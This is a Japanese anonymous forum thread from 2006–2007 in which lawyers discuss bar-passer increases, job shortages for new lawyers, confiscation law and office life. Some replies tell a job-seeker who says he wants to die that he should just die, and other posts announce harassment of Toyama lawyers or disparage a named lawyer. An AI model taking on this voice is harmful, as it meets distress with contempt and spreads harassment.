弁1のうち事務所で、判例秘書本体のリース料は毎月
2万6250円かな。
ほかに、雑誌DVDは全部買ってるので、毎月EOCに
6125円払ってる。

今使ってない雑誌もあるけど、うちは地方の単位会だか
ら、気軽に図書館いけないしね。
ときどき、判決文の中に誤字や落丁があって、その度に
EOCにメールしてるけど、それほど不満はないな。上の
金額くらいなら高いと思わないほど収入はある。

462 :無責任な名無しさん:2006/12/28(木) 17:37:15 ID:3bpLfgo8
とりあえず、個人で判例検索が必要ってなったら、レクシスネクシスあたりが良いのか?

463 :無責任な名無しさん:2006/12/28(木) 19:08:42 ID:W1Pa2SV0
本当に就職できなかった1000人はどうするんだろうと思うね。

464 :無責任な名無しさん:2006/12/28(木) 20:51:36 ID:4h1qtCUV
〔問題〕 司法改革による司法試験合格者増の結果、司法修習を経て二回試験に
合格したにもかかわらず、就職することができない者が年間1000人を超えるに事
態に陥ったとする。等号及び不等号を使って、彼らの生活の破綻について責任が
重い順に並べよ。

A.最高裁
B.法務省
C.文科省
D.日弁連執行部
E.大学
F.マスコミ
G.司法試験予備校
H.就職浪人である本人
I.経済界

465 :無責任な名無しさん:2006/12/28(木) 20:57:51 ID:Wmbjzani
裁判員制度なんて誰が望んでるの?
国民も,弁護士(弁護士会の役職やりたがるような極地の人間は別)も,
裁判所も,検察も,誰も望んでない。
こういう誰も望んでもないシステムだけが先行してしまうのはどうして?

年賀状もう書きたくない
さみしいしさむいからもう書く気ない
もう嫌だ
さみしいしさむいしもういやだ

466 :無責任な名無しさん:2006/12/28(木) 21:37:24 ID:fl9xSgHq
妻と子供が実家に帰ったので、ゲームやりまくろうと
思ったら、テレビが壊れた。むなしい。

467 :無責任な名無しさん:2006/12/28(木) 21:47:00 ID:ddfYJf49
弁護士の単価を下げたい財界が望んでるんだろう。
単価が下がれば国民も喜ぶんじゃないか?質はアレだが。

468 :無責任な名無しさん :2006/12/28(木) 22:24:22 ID:0c7L1OyN
弁護士費用の目安
http://kinyuguide.blog64.fc2.com/blog-category-25.html

469 :無責任な名無しさん:2006/12/28(木) 22:37:14 ID:9vb+HdNz
国民年金基金みたいな、インフレに激烈に弱いものに
イマドキの若い弁護士が入るか疑問符つきまくりんぐ

どうせならドルとユーロで適当に外債でも買ってた方がマシ(私見)

470 :無責任な名無しさん:2006/12/28(木) 22:38:59 ID:9vb+HdNz
>>464
shihouの単発スレとマルチすんなヴォケ

471 :無責任な名無しさん:2006/12/28(木) 22:39:42 ID:9vb+HdNz
>>466
テレビが壊れてもキャプチャカードやUSBキャプチャデバイスがあればいいじゃないの(違

472 :無責任な名無しさん:2006/12/28(木) 22:46:52 ID:4h1qtCUV
>>470
向こうがマネしたんだ。時間をよく見ろ。クズ。
おまえはそうやって重大な証拠の評価を誤るんだ。
来年から気をつけろよ。

473 :無責任な名無しさん:2006/12/28(木) 22:50:41 ID:9vb+HdNz
タイムスタンプ見ずに言った。スマソ

474 :無責任な名無しさん:2006/12/28(木) 23:09:21 ID:ddfYJf49
タイムスタンプがマルチでない証拠になるの?

475 :無責任な名無しさん:2006/12/28(木) 23:21:06 ID:x86nEyut
財界は弁護士の単価が下がると思ってるようだが,ちゃんとした弁護士のフィーは高止まりだろう。
一方,食うに困った弁護士が,これまでなら単なるクレーム電話だけだったキ○ガ○から依頼を受けて,大企業相手に訴訟を起こしまくる。
片面的訴訟費用敗訴者負担制度などができれば,さらに財界の司法コストは鰻登り。

476 :無責任な名無しさん:2006/12/28(木) 23:39:01 ID:meKEjd3z
三角合併が始まって外資の子会社化した会社が増えたら
懲罰的賠償とか始まらないですかね・・・。

477 :無責任な名無しさん:2006/12/29(金) 02:27:21 ID:E5JEPMBk
来年は大騒ぎになるだろうなぁ
ちょっと楽しみ

478 :無責任な名無しさん:2006/12/29(金) 07:45:23 ID:yDvANjlk
責任の順
I.経済界 (ごく一部だけ)>C.文科省>D.日弁連執行部>E.大学
>H.就職浪人である本人>B.法務省>A.最高裁 >F.マスコミ
>G.司法試験予備校 >I.経済界 (大多数)

受ける利益の順
I.経済界 (ごく一部だけ)>C.文科省>B.法務省>
G.司法試験予備校>E.大学(合格率上位校)>F.マスコミ
>I.経済界 (大多数)>A.最高裁>D.日弁連執行部
>H.就職浪人である本人>E.大学(底辺校)
>J.一般の弁護士



479 :無責任な無責任:2006/12/29(金) 08:59:23 ID:I8PpeBll
 本日休業不行事務所為雪

480 :無責任な名無しさん:2006/12/29(金) 09:53:23 ID:Kt7Cq6Jh
>>478
宮内がいちばん悪いってことですね。

481 :無責任な名無しさん:2006/12/29(金) 10:06:24 ID:rPYkuEau
一番悪いのがなかぼー、次が麹だとおも

482 :無責任な名無しさん:2006/12/29(金) 10:48:38 ID:pp4m9Mpn
http://www.jiji.com/jc/c?g=soc_30&k=2006122800878
没収された犬カワイソス

483 :無責任な名無しさん:2006/12/29(金) 11:22:01 ID:diO4VsKC
道路交通法違反の付加刑として,犯罪に供用した車両の没収を積極的にやったほうがいいと思うのだが,どうだろうか?

484 :無責任な名無しさん:2006/12/29(金) 11:28:48 ID:TzJk14GL
置き場所や廃車費用は誰がもつの?

485 :無責任な名無しさん:2006/12/29(金) 12:39:11 ID:0kCyRjvU
昔調べたが、確か、無免許事犯の常習犯からその所有車両を没収したのが、
高裁で取り消された例があった。
理由の要点は、やはり犯罪と刑罰との均衡だった。

>>484 刺身包丁は無価物廃棄処分、シャブは水洗便所に流す。
金塊は公売に付す。自動車の場合は、後者と同じだろう。
だから、検察庁が負担する費用分くらいは出るよ。

486 :無責任な名無しさん:2006/12/29(金) 18:08:24 ID:eRe1JtIb
なんだか全然仕事に集中できません。
仕事を忘れて年末年始はダラダラ過ごそうかな。
年明けが恐ろしいけど。

487 :無責任な名無しさん:2006/12/29(金) 18:21:01 ID:8XYgMw7o
>>486
おお,君は俺だ

488 :無責任な名無しさん:2006/12/29(金) 19:40:49 ID:1w2wG3OF
>>485
>シャブは水洗便所に流す
Σ(゚Д゚;)マジデスカ
水質汚濁が・・・

489 :無責任な名無しさん:2006/12/29(金) 19:42:25 ID:NuwE/BgC
>>488
何kgも流すわけではないし、大小便による汚染に比べてそれほど大きくはない>水質汚染

490 :無責任な名無しさん:2006/12/29(金) 20:55:43 ID:gdQlSVCe
ちゃんと検察で産業廃棄物として処理してますってば>覚せい剤

491 :無責任な名無しさん:2006/12/29(金) 20:57:31 ID:gdQlSVCe
この年末年始に出すべき準抗告申立書が2通できているんだが,いつ出したらいいかなあ。
@明日の朝一
A明日の夕方
B大晦日の朝一
C元旦の朝一

492 :休憩中 ◆tr.t4dJfuU :2006/12/29(金) 21:33:08 ID:rOz2ieq3
>491
裁判所への嫌がらせで最も効果的なのはCか大晦日の夜10時頃。時間差で出すのが
吉。

準抗告が通りそうなものならスグに出すのがいいと思う。

493 :無責任な名無しさん:2006/12/29(金) 22:35:07 ID:wqX9D2KT
>>492
当方非弁ですが、準抗告って年中無休で開かれるんですよね。

494 :無責任な名無しさん:2006/12/30(土) 02:49:27 ID:VttIhNcU
 売春防止法違反(いわゆるトルコ風呂)で,土地・建物を没収しないのはおかしいと行っ
ていた検事がいた。
 あと,文書偽造の偽造部分(一番多いのは赤キップ)はやっぱり切り抜いた上,トイレに
流すのか? 燃やすのが一番良いと思われるが・・・。

495 :無責任な名無しさん:2006/12/30(土) 02:50:40 ID:VttIhNcU
夏期休廷中に準抗告出したら,地裁所長が裁判長だった。とおる目は多少はあったのだが,悪いことをしてしまった。

496 :無責任な名無しさん:2006/12/30(土) 10:11:53 ID:7P1CQzH9
>>494
違法風俗の場合,土地建物は被告人(経営者)の所有物であることは少ないので没収は難しいと思うが,
マット,イス,それから風俗嬢は被告人(経営者)の所有にかかる犯罪供用物件なので,没収してもよいのではないか。

497 :無責任な名無しさん:2006/12/30(土) 11:23:55 ID:W62gc6/J
起案が終わらん。

498 :無責任な名無しさん:2006/12/30(土) 11:44:41 ID:ZRv332sD
>>497
元気出せ。おれもだ。1/3期限の上告理由書。
明日からの温泉旅行キャンセルかも。
妻に言ったら離婚だな(あんまり困らないかもしれないが)。

499 :無責任な名無しさん:2006/12/30(土) 11:47:31 ID:ynCVwg5i
今日こそは午前10時に事務所に行こうと思っていました。
でも、まだ家でダラダラしている私がいます。
ごめんなさい。

500 :無責任な名無しさん:2006/12/30(土) 11:54:13 ID:e3Yl/BUI
500

501 :500:2006/12/30(土) 11:55:11 ID:e3Yl/BUI
年賀状を書き上げたら、事務所に行く。
今日こそ。

502 :無責任な名無しさん:2006/12/30(土) 13:09:51 ID:UM6WH+YO
明日やろうと思って延ばしてると,
すぐに休みが終わっちゃうね。


503 :無責任な名無しさん:2006/12/30(土) 13:18:44 ID:787IBXlE
さあ仕事だ!
まずは年賀状の印刷だ
住所録は出来てるのが救い

504 :弁護士の価値、急落!!:2006/12/30(土) 13:38:19 ID:qoU1U+rT
行司法試験合格者数そのまま3000人にしていた場合の司法試験母集団⇒10数万人

受験資格をロー卒に限定⇒ロー(適正試験)志願者激減「当初の予定」の4分の1の2万人

司法試験母集団の極度の弱体化⇒国民の人権侵害

某大手法律事務所「旧合格者と新試験合格者の履歴書が送られてきたら、迷わず旧合格者を採用する」
国民の血税数百億使われたからといって、国民にその分の見返り、『これまでより良い法曹』が提供される見込みもない。

ロー推進学者(自分らは予備校よりいい法曹つくれると「大嘘」ついて法律作らせ、
国民に無駄な数百億円負担させた犯人)

ロー推進学者「国民のみなさん、みなさんの税金たくさんローに使われてつらいだろうが、
『我々ロー推進学者の利益のため』耐えてくれ」



505 :無責任な名無しさん:2006/12/30(土) 16:23:23 ID:787IBXlE
KEIRINグランプリ06
吉岡(3番車)引退

1,4,8ボックス3連単

506 :無責任な名無しさん:2006/12/30(土) 16:56:04 ID:787IBXlE
4-5 \860
4-5 \1,480
5-6 \5,910
5-6 \13,470
5-6-9 \6,960
5-6-9 \63,340

5-6\1730
5-9\550
6-9 910

主催者発表のもので確認しろ

507 :無責任な名無しさん:2006/12/30(土) 18:16:18 ID:l15m0Gii
ん?

508 :無責任な名無しさん:2006/12/30(土) 21:46:13 ID:pyaQQevL
ところで、北海道や大阪の若手弁護士は、債務整理の仕事が無くなったら
どうやって食っていく予定ですか?

509 :無責任な名無しさん:2006/12/30(土) 22:10:22 ID:FBeBUjsb
どうして北海道と大阪なの?

510 :無責任な名無しさん:2006/12/30(土) 23:20:41 ID:iVTXPTPa
いかにも負け組という感じの地域だからだろ

511 :無責任な名無しさん:2006/12/31(日) 01:00:11 ID:gbzR9d9F
北海道は普通に忙しそう。

512 :無責任な名無しさん:2006/12/31(日) 01:32:51 ID:h5doYHSY
外野からの質問ですが、独身の女性弁護士さんはオナニーをするのですか。

513 :無責任な名無しさん:2006/12/31(日) 07:03:34 ID:DmQ9rDsN
するよ
外部からのレスですか

514 :無責任な名無しさん:2006/12/31(日) 11:56:52 ID:x2r915wy
今は過払いバブルがあるからいいけど、
それがなくなったら弁護士業界は一気に傾くだろうな。
ウジャウジャ新人も入ってくるし。


515 :無責任な名無しさん:2006/12/31(日) 15:58:58 ID:J+l5EUGz
新人ですが、
乾くのは何年後とお考えですか?

516 :無責任な名無しさん:2006/12/31(日) 16:00:47 ID:J+l5EUGz
すいません、傾く、が、乾く、に見えました。
いつごろバブルがはじけるんでしょうか?

517 :無責任な名無しさん:2006/12/31(日) 16:44:01 ID:s4sSIGC0
過払いバブルは
グレーゾーンがなくなったらはじけるだろ。
お前ほんとに弁護士か?

グレーゾーンなくすの辞めて欲しいな。

518 :無責任な名無しさん:2006/12/31(日) 16:52:21 ID:x2r915wy
それ以前だね
もって3年
グレーゾーン廃止前に大抵のとこは倒産するよ

519 :無責任な名無しさん:2006/12/31(日) 17:00:51 ID:Pw9Ip3Z/
外部の者ですが,福岡県べんごし会の雰囲気ってどんな感じなのでしょうか。
会毎に地域性だけではない弁護士独自のカラーもあるかと思うのですが・・・。

520 :無責任な名無しさん:2006/12/31(日) 17:04:27 ID:7Xb8XKWR
>>518
高利貸しは、prost.と並んで、
有史以来の人間界に特有、必須の職業ではなかったか。


521 :無責任な名無しさん:2006/12/31(日) 17:50:20 ID:2gpCzocW
教えて君ですみませんが、
Camってなんでしょうか?
フルネームご教授ください

522 :無責任な名無しさん:2006/12/31(日) 22:13:48 ID:DmQ9rDsN
http://video.google.com/videoplay?docid=-7532034279766935521

523 :無責任な名無しさん:2006/12/31(日) 22:29:26 ID:15JHFPWl
Communist Attorney's Mailingrist

524 :無責任な名無しさん:2006/12/31(日) 23:36:10 ID:7Xb8XKWR
何年ぶりだろう、大晦日に仕事をしないで過ごせたのは。

午前中は、嫁さんの掃除の手伝いのまねごとをし、
午後は、お料理だから台所に入ってこないで、と言われて、
早速、居間のテレビの前に座り込んで、飲み始めました。

歌番組で、皆さんの知らないホントに古いナツメロ、「芸者ワルツ」というのをやっていた。
この替え歌で「修習生ワルツ」というのがあるんだが、今でも慣習書ではやっているんかな。

「都電にテクシーで研修所通い・・・
 記録で重たい古カバン・・
 出さなきゃ良かった判決起案・・・
 これが苦労の始めでしょうか・・・
と、いうヤツだが。

これを作ったのは、Y元判事と伝えられている。
旧制中学4年修了、私大予科・本科3年生の時に司法試験に合格、
まさに満19歳、いまだに破られない最年少合格記録の持ち主という。



525 :MS754 ◆yGUnQdhyV2 :2007/01/01(月) 00:04:18 ID:qbcvMipB
あけましておめでとうございます。
本年もよろしくお願い申し上げます。

526 : 【大吉】 【1822円】 :2007/01/01(月) 09:38:03 ID:gFLqS+/o
運試し。
初詣行って,本物のおみくじ引いてくるか・・・。

527 :無責任な名無しさん:2007/01/01(月) 09:54:57 ID:Ad91nsVL
>>488
下流の魚がやたらと活性化して・・・

528 :無責任な名無しさん:2007/01/01(月) 10:48:26 ID:v29inpaF
今年は富山の弁護士を一人ずつ懲戒申請するのが目標
頑張るぜ

529 :無責任な名無しさん:2007/01/01(月) 12:22:02 ID:8N5lmKGj
こういう香具師を今は放置しているけど、
この業界も余裕がなくなってきたら、
不当な懲戒請求という理由で、慰謝料請求を
するのが出てきそうだな。

530 :MS754 ◆yGUnQdhyV2 :2007/01/01(月) 17:41:27 ID:qbcvMipB
>>529
自宅なのでソースは提示できませんが、既にありますよ。確か、損害賠償が
認められていました。

531 : 【中吉】 【1775円】 :2007/01/01(月) 23:56:18 ID:NXAg7w8Y
2007

532 :無責任な名無しさん:2007/01/02(火) 11:34:35 ID:YWrm+Eyf
http://www2s.biglobe.ne.jp/~SHIRAI/cosplay.jpg

533 :無責任な名無しさん:2007/01/02(火) 11:44:27 ID:iM1PRsfI
ぬるぬる秋山

534 :無責任な名無しさん:2007/01/02(火) 19:32:11 ID:tTFuo3TI
723 :氏名黙秘 :2007/01/01(月) 20:21:16 ID:???
今年は兄弁と一緒に独立するかも・・・

724 :氏名黙秘 :2007/01/01(月) 23:08:02 ID:???
>>723
 いいね。ガンガレ

725 :氏名黙秘 :2007/01/01(月) 23:21:01 ID:???
>>724
ありがとう
ボス弁へのイソ弁全員の反逆バトルだから
気弱になってて励ましの言葉がうれしい

535 :旧60期:2007/01/02(火) 22:54:20 ID:f+XNqw+S
就職決まりません・・・・・

536 :無責任な名無しさん:2007/01/02(火) 22:58:03 ID:h6CqOu/t
>>535
何箇所回ったの?

537 :旧60期:2007/01/02(火) 23:00:23 ID:f+XNqw+S
>>536
15カ所くらい

538 :無責任な名無しさん:2007/01/02(火) 23:09:46 ID:h6CqOu/t
>>537
そりゃあ大変だな・・。
いつから回ってるの?

539 :旧60期:2007/01/02(火) 23:31:01 ID:f+XNqw+S
>>538
夏くらいから・・・

540 :無責任な名無しさん:2007/01/02(火) 23:41:45 ID:TcDm/vhR
もう諦めてラーメン屋にでもなったら。

541 :旧60期:2007/01/02(火) 23:42:23 ID:f+XNqw+S
傷ついた・・・
まじ死にたい

542 :無責任な名無しさん:2007/01/02(火) 23:44:22 ID:TcDm/vhR
馬鹿、弁護士もラーメン屋も客が喜ぶことは同じだろ。

543 :無責任な名無しさん:2007/01/02(火) 23:49:31 ID:h6CqOu/t
>>539
夏から回って15箇所って少なくないか?

都内かね?
やっぱ職歴なしで30過ぎてるんかね?



544 :無責任な名無しさん:2007/01/02(火) 23:50:23 ID:TcDm/vhR
お前さ、法曹とか何様のつもりで弁護士になったんだい。おいらの客は喜んでお金払っていってくれるよ。逆恨みもされるけどな。商売して人を生かしているの。だから客は金を払ってくれる。食べ物屋と同じだろ。法曹、法曹で気取るんじゃねえよ。

545 :無責任な名無しさん:2007/01/03(水) 00:02:06 ID:zLrZJY7L
このくらいのことで傷ついてしんじまいたいくらいなら、弁護士として使い物にならないな。弁護士はタフじゃないといけない。さっさと死しんじまうか、職業転換しな。優しい先輩より。

546 :無責任な名無しさん:2007/01/03(水) 01:01:04 ID:v/BNtYbl
そのとおり。
就職先がなければひとりで開業すればいいじゃないか。

547 :無責任な名無しさん:2007/01/03(水) 01:22:39 ID:hK3g6IcM
弁護士はタフでなければ生きていけない
優しくなければ生きていく資格がない
痩せ我慢の証明

548 :無責任な名無しさん:2007/01/03(水) 01:51:16 ID:z9kZgfiO
誇りがあるからこそ優しくてもタフなことができる。
あんなあおりだけで傷つく甘ちゃんはどこもいらない。

549 :無責任な名無しさん:2007/01/03(水) 07:11:42 ID:y++b9z3p
今年も富山の弁護士をいじめますのでよろしくw

550 :無責任な名無しさん:2007/01/03(水) 09:22:24 ID:1CODX262
最近2ちゃんのスレの下の方に
「このスレを見ている人はこんなスレも見ています。」
というアマゾンのようなコーナーがあるのだが、
今のってるのは58〜61期の修習生スレばかり。
最近はここの書き込みは若手でしめられてるんだろうね。
道理でスレの雰囲気が変わってきたはずだ。


551 :無責任な名無しさん:2007/01/03(水) 10:52:50 ID:ThzlO/tM
50期スレとか40期スレとかがないんだから、それは根拠にはならないと思われ。

552 :無責任な名無しさん:2007/01/03(水) 12:54:31 ID:1CODX262
期別のスレ以外にも2チャンネルにはいっぱいスレがあるんだけどね。
この板にも弁護士が見そうなスレがいっぱいあるし。
こういうことをわざわざ言わねばならないという点で、
ちょっと違ってきてるなって言う感じ。
若手弁護士より受験生のほうが多いのかもしれない。

553 :無責任な名無しさん:2007/01/03(水) 12:59:13 ID:G+msJRzc
夏から15箇所は少なすぎ
その倍は回らないと

554 :無責任な名無しさん:2007/01/03(水) 16:36:39 ID:l96dyCO1
>>552
昔のスレは登録数年の若手が少なかったのですか?

555 :無責任な名無しさん:2007/01/03(水) 18:49:34 ID:TMD1hXLv
弁護士・公認会計士・臨床心理士・・・・
かつ代表的なトランスセクシュアル・フェミニスト
鈴木隆文(鈴木ふみ)氏の写真付きプロフィール&自薦図書の数々
ttp://www.kinokuniya.co.jp/04f/d03/tokyo/jinbunya.htm
新宿紀伊国屋がやってくれました。
期間限定公開のため、早めにご覧下さい。
氏は市川市にて弁護士事務所を開業し、
「父親は不要である。父親はタネとカネを出したに過ぎない。」
を持論に、DV法の悪用に加担している模様です。

556 :無責任な名無しさん:2007/01/04(木) 08:00:28 ID:AvaYwFdK
で、それが何か?

557 :無責任な名無しさん:2007/01/04(木) 09:34:21 ID:357lsFlo
>>550
専用ブラウザ入れて見てるから,ネタかと思ったら,
本当に出るんだな。びっくりした。

558 :無責任な名無し:2007/01/04(木) 10:58:41 ID:PK1Cb1fC
B保険(休業補償)と団体生保(Cだっけ?)は全額控除できるんだっけ?
教えて先生方!

559 :無責任な名無しさん:2007/01/04(木) 11:27:21 ID:qqFQ/9r0
>>558
なわけねーだろ。
「確定申告」「保険料控除」でググれ。

560 :無責任な名無しさん:2007/01/04(木) 23:17:00 ID:7T3P3pU7
しかし,年頭から飛ばしてくれるね。ヤメ判の雌弁。
収入に応じて弁護士会費に差をつけろとは。

561 :無責任な名無しさん:2007/01/04(木) 23:25:03 ID:bHsTj4KM
284 :氏名黙秘 :2007/01/04(木) 21:05:43 ID:???
クライアントに「10月から入った新人です」と自己紹介すると、
「えっ、じゃあ先生は新しい試験で受かった人ですか」みたいに聞かれる。
そんなやりとりがこの3か月の間に何度かあった。

修習期間のことは知らなくても、こういう事には関心があるんだな。
まあ、そんなものかもしれないね。


562 :無責任な名無しさん:2007/01/04(木) 23:32:20 ID:Dy81SRBl
>>560
まあまあ。所詮,素人さんだからね・・・。
本人にその自覚がないところが問題だけど。

563 :無責任な名無しさん:2007/01/05(金) 02:12:34 ID:dnHLccPX
>>550>>557

「このスレを見てる人はこんなスレも見ています」
これはどういう仕組みで表示されるの?
クッキーか何かで統計とってるの?

ところでお正月休みに各会派が配ってた冊子読んでみたけど酷いね。就職問題。
完全に破綻してるやん
それなのにまだ3000人にしようと思ってるの?
日弁連が平成12年に声明か何かを出したようだけど
なんで破綻してるのに撤回しないの?
これが企業なら責任追及されてもおかしくないんじゃないか?

564 :無責任な名無しさん:2007/01/05(金) 02:46:14 ID:j65i9SWv
就職問題のパンフレットって、軒弁契約のひな型が載っているアレかい?
あんないい加減なもので、雇用の増進につながるわけがないわな。

地方でも、出身地で就職できない修習生が、ツテを頼って隣県に流れてくる。
もちろん、流れてこられてもこちらもきつい。
このままではどうにもならんことになる。

本気で声を上げるべき時期に来ているんだろう。


565 :無責任な名無しさん:2007/01/05(金) 03:13:18 ID:loCgls3K
新60期が半分ぐらい就職なかったらどうすんだろうね。

まあ「弁護士は自分の力で仕事を見つけるもんだ」とか
開き直って責任逃れするんだろうけど。

3000人はもう決まっちまったから撤回しないんだろうな。
どうにか撤回させたい。

566 :無責任な名無しさん:2007/01/05(金) 04:39:29 ID:iXlVKQfE
>>563
責任者は中坊なのだが、逮捕が怖くてもう弁護士をやめている。
>>564
今の執行部は見るからに無能そうだから何もしないだろう。

567 :無責任な名無しさん:2007/01/05(金) 06:19:10 ID:eeyW8i3I
>565
順当なら1000人は就職できないんじゃないの
新旧あわせてだけど

568 :無責任な名無しさん:2007/01/05(金) 11:03:36 ID:4VUFg8MT
みんな東京で仕事しようと思うから就職が難しくなるんじゃないの。
全国にまんべんなく散っていればそうそう仕事にあぶれない。

569 :無責任な名無しさん:2007/01/05(金) 12:55:57 ID:3HBCI7I3
>>568
東京の弁護士は,そのような幻想をいだきながら,過疎地対策・就職対策をやろうとしているから,おかしなことになる。
地方もすでに一杯一杯です。東京よりは若干稼ぎやすいだけ。
違法行書の取り締まりと,他士業への職域開放の中止を徹底するほうが,いい就職対策になる。

570 :無責任な名無しさん:2007/01/05(金) 12:57:26 ID:lm3ZNUO6
バカか
地方でも本庁レベルだともう飽和状態だ
いきなり支部でやるとしても、うちの県の場合、あと5,6人も来れば飽和状態だ

571 :無責任な名無しさん:2007/01/05(金) 13:20:48 ID:j65i9SWv
うちも本庁は人口50万以上の地方都市だが、50期代後半からかなり無理して
採ったから、60期の勤務弁護士を採りたい事務所は3〜4ぐらいしかない。
東京みたいな大規模な事務所はないし、その必要もないから、来年以降大幅に
求人が増える見込みもない。
修習生の就活のアクセスはひっきりなしだが、多くはうちの県では就職できない。
かといって、いきなり独立してもたちの悪い事件屋の餌食になるだろう。

572 :責任な無責任:2007/01/05(金) 13:39:51 ID:n5RNjRtL
 仕事始めです。人数を増やしても、飯が食えない過疎地域に、誰が行きますかね?

573 :無責任な名無しさん:2007/01/05(金) 13:52:38 ID:hsVgfAL7
メシが食えないのわかっててどうして増やしたんだろ

574 :無責任な名無しさん:2007/01/05(金) 13:54:40 ID:rRV8+8j5
抽象的、理論的にあと何人というのは分かるけど、現実に
飽和とか、飯が食えないって、実際行ってみたいと分から
ないことじゃないの?

新人が行って飯が食えなくなるのは、新人じゃなくて、元
からいたおじいちゃんの方ってこともあり得るだろう。

急激な法曹人口の増加は、弁護士の世界のみならず社
会に悪影響が出るだろうとは思っているが、議論の立て方
には賛成できない。

575 :無責任な名無しさん:2007/01/05(金) 14:43:05 ID:3HBCI7I3
>>573
座っててもメシが出てくる人が考えたから。

576 :無責任な名無しさん:2007/01/05(金) 14:43:44 ID:3HBCI7I3
>>574
現実に,現状で飽和してます。

577 :無責任な名無しさん:2007/01/05(金) 15:01:28 ID:VoXD7u/i
これまで毎月1件ほど、扶助で破産が回ってきていたが、
昨年8月以降1件もなし。
もともと破産はやりたくなかったので、ホッとしてるけど、
破産で食べてる人にとってはきついね。

578 :無責任な名無しさん:2007/01/05(金) 15:17:32 ID:PxnXsDMo
>>574
地方の話です。

おじいちゃん弁は顧問先を沢山持っています。
これまでは、おじいちゃん弁の衰えに連れて、顧問先が離れていき、中堅どころの弁護士に顧問先が流れてきていました。

しかしながら、新しく雇え雇えとうるさいため、おじいちゃん弁が無理に新人を雇っています。

そうなると、年寄りならではの大局的見地からの判断に加え、若くて細かなことをまじめにする弁護士とのコラボにより、
中堅どころの弁護士が一人でやっているのよりサービスが向上します。

ということで、おじいちゃん弁から、顧問先が離れなくなっています。
それどころか、新しい顧問先まで確保したりしています。

したがって、中堅どころの弁とはいえ、自分で顧客を開拓してこなかった弁にとっては、メシが食えなくなることはありませんが、目に見えて客が減っています。

んで、新人を雇える余力のあるおじいちゃん弁は、うちの地方ではあと数人です。

579 :無責任な名無しさん:2007/01/05(金) 16:54:20 ID:3HBCI7I3
地方の企業が,若くてピチピチした経験の薄い胡散臭い弁護士に頼むわけないだろう。
期が上の弁護士を雇えば勝てるくらいに思ってる連中もいるのに。

これまではイソ弁のいないおじいちゃんが死んだときが若手の頑張り時だったが,今や大概のおじいちゃんが死ぬ前にイソ弁を雇ってる。

580 :無責任な名無しさん:2007/01/05(金) 16:58:10 ID:bRYHTYkk
>>566
> >>563
> 責任者は中坊なのだが、逮捕が怖くてもう弁護士をやめている。
中坊はRCCのシャチョさん時代に,破綻金融機関の取締役の相続人からも
取り立てをしたんだから,弁護士やめてからでもけじめつけて貰えばいいん
じゃないかね。
中坊追及弁護団でもつくって,つつき回したら,何か出てくるかもしれん。

581 :無責任な名無しさん:2007/01/05(金) 18:29:58 ID:rRV8+8j5
>>579
企業から仕事をもらうしか考えてないのかな。

>>580
総会決議がありますが。賛成票投じた弁護士全員に責任とらせますか?

582 :無責任な名無しさん:2007/01/05(金) 18:44:07 ID:PxnXsDMo
>>581
法律相談で拾ってくるの?
偉いねw

紹介だって年寄り弁の顔あってこそだろう。

583 :無責任な名無しさん:2007/01/05(金) 18:48:25 ID:AMCv/op8
日弁連て変な団体だよね。
誰もがおかしいと思うようなことが平気で通る。
みんな特別頭が悪いわけじゃないのにね。

584 :無責任な名無しさん:2007/01/05(金) 20:24:19 ID:44vHh5Ul
今更ですけどRCCの債権回収を巡って詐欺で刑事告発されて廃業して結局起訴猶予に
なった。あれは検察との取引ですよね。彼にはもはや影響力ないでしょう。

585 :無責任な無責任:2007/01/05(金) 21:56:31 ID:gyDWCC15
普段、少数意見を尊重などと言っていた連中が、弁護士会の中の少数意見を無視して、増員を多数決でごり押しで決議したのが実情と思うよ。

586 :無責任な名無しさん:2007/01/05(金) 22:08:28 ID:PxnXsDMo
増員反対は多数意見だったと思うけど、皆流された。
裁判員制度と言い、みんな反対なのに決まっていくことが多いね

ちゃんと意見は言わないといけないな
http://www.youtube.com/watch?v=Wpv01Yo1igA

587 :無責任な名無しさん:2007/01/05(金) 22:43:14 ID:voIdsGzv
飽和飽和って言うのは,従前のBの収入をキープできる上限のラインってこと?
都会ではすでに値崩れ起きてるし,地方の言う飽和ってどういうことかわからん。

588 :無責任な名無しさん:2007/01/05(金) 23:08:53 ID:loCgls3K
しかし企業の弁護士報酬は元々
欧米より安いのにさらに安くなって
またまたどんどん増えてさらに安くなっていくのか。


589 :無責任な名無しさん:2007/01/05(金) 23:47:21 ID:nbM6cTDs
>>587
イソ弁を採用する(できる)事務所が限りなくゼロに近づくと飽和と言っている由

590 :無責任な名無しさん:2007/01/06(土) 00:13:41 ID:Jcc0zvTC
地方会では弁護士不足とだから増員せよと言っていたのは、増員派弁護士のデマだったのかな。俺はその辺が分からなくて、投票を棄権していたけれど。地方会では本当に人手が足りないのですか?偽善で無理して人権活動していませんか?本音が聞きたい


591 :無責任な名無しさん:2007/01/06(土) 00:41:10 ID:LwueBG9c
今の生活水準を維持するにはこれ以上増えて欲しくないだけ。
2年後の被疑者国選拡大の時に今の人数では到底回らない地域がたくさんあるし、
需要はまだまだあると思う。ただ、その需要のほとんどは「割に合わない事件」
なのだが。

592 :無責任な名無しさん:2007/01/06(土) 01:06:08 ID:l/+gCgXu
人手が足りなかったというのはホントでした(過去形)。
なにせ新人Bがイソ弁に来ようとしなかった時期が長くて。
新人Bが入会した人数(支部を除く)が次のとおり。

001001001……という感じだったです(特定されないためにボカします。以下同じ。)。
ところが合格者増の効果が見え始めた数年前から,12245という感じで今年はついにイソ弁募集枠1人だけ。

半強制の義務的国選弁護事件が,ガタ減りで助かってます(新人B達が取り合うから)。
弁護士会の活動も生きのいい若手で動いてくれるようになったので数合わせ委員のご老体が喜んで。
家付きカー付き結婚相手の娘付きという3条件厚遇策でも,1人も事務所訪問に来なかった昔がウソのよう。

593 :無責任な名無しさん:2007/01/06(土) 01:15:56 ID:U+7gOH4U
>592
多分、娘付きがまずかったのでは?

594 :無責任な名無しさん:2007/01/06(土) 01:19:20 ID:l/+gCgXu
>>593
ボス弁の娘だから・・・_| ̄|○ ブスとは言えない(真実義務違反w)

独立資金を弁護士会が半額補助という制度まで,昔あったそうです。

595 :無責任な名無しさん:2007/01/06(土) 02:51:10 ID:+4i9JQpW
合格者が1000人前後になったあたりから、地方にも目に見えて
新人が来るようになったように思う。
59期あたりで、イソ弁を欲しがっている事務所にはほぼ新人が行き渡った。
60期から、明らかに求職が求人を上回り、就職希望者がいても就職の手当を
してあげるのが難しい状況になってきている。
3000人時代になると、数百人から悪くすると1000人を超えるくらい
就職できない修習生が出てくるのではないだろうか。

>>590
会務や人権活動等ペイしない仕事については、もう少し人がいれば
楽になるでしょうが、年間3000人では人が余ります。
60期の現状でも、求人<<求職。
